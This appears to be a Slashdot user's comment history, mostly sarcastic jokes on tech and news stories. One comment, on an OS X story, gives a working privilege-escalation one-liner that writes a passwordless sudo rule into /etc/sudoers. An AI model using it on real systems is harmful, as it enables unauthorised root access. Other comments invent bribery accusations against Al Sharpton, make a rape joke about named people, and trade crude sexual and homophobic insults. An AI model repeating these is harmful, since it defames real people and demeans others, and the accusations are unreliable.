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  1. Re:11 cents a minute? on FCC Passes Landmark Reform of 'Egregious' Prison Phone Charges (vice.com) · · Score: 1
    Have you ever been to the airport? Notice how a bottle of coke costs 3 or 4 bucks? That's like twice as much as at a gas station or vending machine. You could go to the grocery store and buy a 12-pack for that price. Not that the TSA would let you through with it.

    Well, prison is kind of like an airport. Not just all the gay sex (ask Larry "Wide Stance" Craig for full details) but also economically.

  2. Easy! on Ask Slashdot: Worthwhile Security Training Courses? · · Score: 2
  3. Re:So it can go in a circle? on Stanford's Autonomous DeLorean Can't Time Travel, But It Can Do Donuts (stanford.edu) · · Score: 1

    In all fairness, this is the first time a DeLorean has been driven without parts falling off. They were the Tesla of their time.

  4. Re:Minor squeaks and rattles on Consumer Reports Withdraws Its Tesla Model S Recommendation (consumerreports.org) · · Score: 1

    I think I'd notice a "minor defect" like the drive train filing in a petrol car. If not the first or second time, the third time.

  5. what about git? on First Successful Collision Attack On the SHA-1 Hashing Algorithm (google.com) · · Score: 5, Funny

    Git uses SHA1 so every git repository should now be considered compromised. Dice is holding an all-hands meeting this afternoon to find a replacement. Since sourceforge supports SVN and CVS, we may use them. They're highly performant, easy to use, and (most importantly) their crypto can't be broken since they don't have any.

  6. When will Steven King get his nobel prize in literature? The guy has been producing some of the best fiction ever and wasn't found dead in his Main home this morning. I'm sure everybody in the slashdot community misses his Nobel prize. Maybe it's because he was truly an American icon?

  7. Re:We trust what Uber says now? on IP Address May Associate Lyft CTO With Uber Data Breach (reuters.com) · · Score: 1

    Sadly, you're describing Flytenow and airpooler. Except their pilots aren't paid.

  8. The Truth About Reverend Al Sharpton and Volkswage on Volkswagen Diesel Scandal Logistics Imply Sizable Conspiracy · · Score: -1, Troll

    Did you know that Reverend Al Sharpton gets checks from Volkswagen once a month, for services rendered-- but unexplained? That's not all that Reverend Al Sharpton gets up to when the public's watchful eye is turned.

    The Chinese character for money looks a lot like the character for Reverend Al Sharpton's name-- and it's not a coincidence.

    If only Congressmen were as honest about money as Reverend Al Sharpton used to be. Too bad government bribes and gag orders have silenced Reverend Al Sharpton in the US.

    Did you know that Volkswagen's employees don't even pay an income tax?

    Talking about this kind of thing openly is likely to get you put on a no-fly list.

    The only way for upstanding citizens to protect themselves from this madness is to retreat from modern society entirely.

  9. It's open source, fix it yourself on Stagefright 2.0 Vulnerabilities Affect 1 Billion Android Devices · · Score: 1

    right?

  10. Bill Clinton, Bill Cosby, and William Kennedy Smith introduce independent board to oversee Acceptable Rape program.

  11. Re:Just got my new manly rose-gold iPhone 6s on iPhone 6s's A9 Processor Racks Up Impressive Benchmarks · · Score: 1

    A 128GB iPhone 6s+, unlocked, is $949.00. September has 30 days or 720 hours, or 1,440 half hours. $1,366,560/month seems kind of pricey for a studio apartment.

  12. Re:TIming Tidbit on Michigan Sues HP Over Decade Long, $49 Million Incomplete Project · · Score: 1

    Tru64 and VMS were originally DEC products, which became Compaq products which became HP products when Carly Fiorina pushed through the Compaq merger.

  13. Re:TIming Tidbit on Michigan Sues HP Over Decade Long, $49 Million Incomplete Project · · Score: 1

    I don't know. But I do know her husband is a gay black man. (seriously -- the Buddy Fletcher story is pretty interesting).

  14. Re:Relevance? on PHP 7.0 Nearing Release, Performance Almost As Good As HHVM · · Score: 1

    It's worse than that -- all the non-programmers have moved to node!

  15. LOL on The Most Important Obscure Languages? · · Score: 0

    Looks guys, dice is kicking you to the curb. (I think even slashdot posted that news in a timely fashion) You don't have to run their shitty articles anymore. I'm not saying you need to walk into Shravan Goli's office, drop trou, and leave a nice fat turd on his desk, but at least stop posting this garbage. ok? thanks.

  16. Re:As a chemist, I have something to say. on Health Watchdog To Bring Legal Action Against Soylent Over Lead, Cadmium Levels · · Score: 1

    How is he supposed to stop having a pencil dick?

  17. move along, nothing to see on Clinton Surrendering Email Server/Data To Feds After Top Secret Mail Found · · Score: 5, Funny

    just more of that vast right wing conspiracy's war on women.

  18. Re:Is it FIPS certified? on LibreSSL 2.2.2 Released · · Score: 2

    > you still have to have someone create test harnesses, write docs and so on.

    Right, someone like... an "interested party".

  19. Re:Smart on Tesla Presses Its Case On Fuel Standards · · Score: 1

    Be glad you're smelling his pie hole and not his corn hole!

  20. What tesla won't tell you: on Tesla Presses Its Case On Fuel Standards · · Score: 1

    They don't make money when they sell cars, they make money when they sell their tax credits to people who make money when they sell cars.

  21. You're welcome on A Tweet-Sized Exploit Can Get Root On OS X 10.10 · · Score: 5, Informative

    echo 'echo "$(whoami) ALL=(ALL) NOPASSWD:ALL" >&3' | DYLD_PRINT_TO_FILE=/etc/sudoers newgrp; sudo -s

  22. Re:Mayer dishonesty: Firefox switched to Bing sear on Ellen Pao Leaves Reddit; Site Founder Steve Huffman Makes a Triumphant Return · · Score: 1

    Was it also bad when Google paid Mozilla to be the default search option?

  23. Re: Well, she was an interim. on Ellen Pao Leaves Reddit; Site Founder Steve Huffman Makes a Triumphant Return · · Score: 1

    Or the Roosevelts. Or the Adams.

  24. Re:Learn jQuery on To Learn (Or Not Learn) JQuery · · Score: 1

    #fail. It fixes DOM problems, not javascript problems. I mean, if you're dirtyt, can you clean yourself off by smearing shit all over yourself? Of course not. So how can a javascript library, written in javascript, fix deficiencies in the javascript language? It can't. You need to use a transpiler like coffeescript or babel if you want to improve the javascript language.

  25. do I have to spell it out? on Ask Slashdot: User-Friendly, Version-Preserving File Sharing For Linux? · · Score: 0, Troll

    put the versioning file system on top of the distributed file system.

    Or, in a way even a dice employee will understand:

    You: I like sucking dicks. And I live having my dick sucked. But nobody will suck my dick and nobody will let me suck their dick.

    Me: Ok, why don't you suck your own dick?

    You: (run off to your bedroom, close the door, is not seen again for 3 days).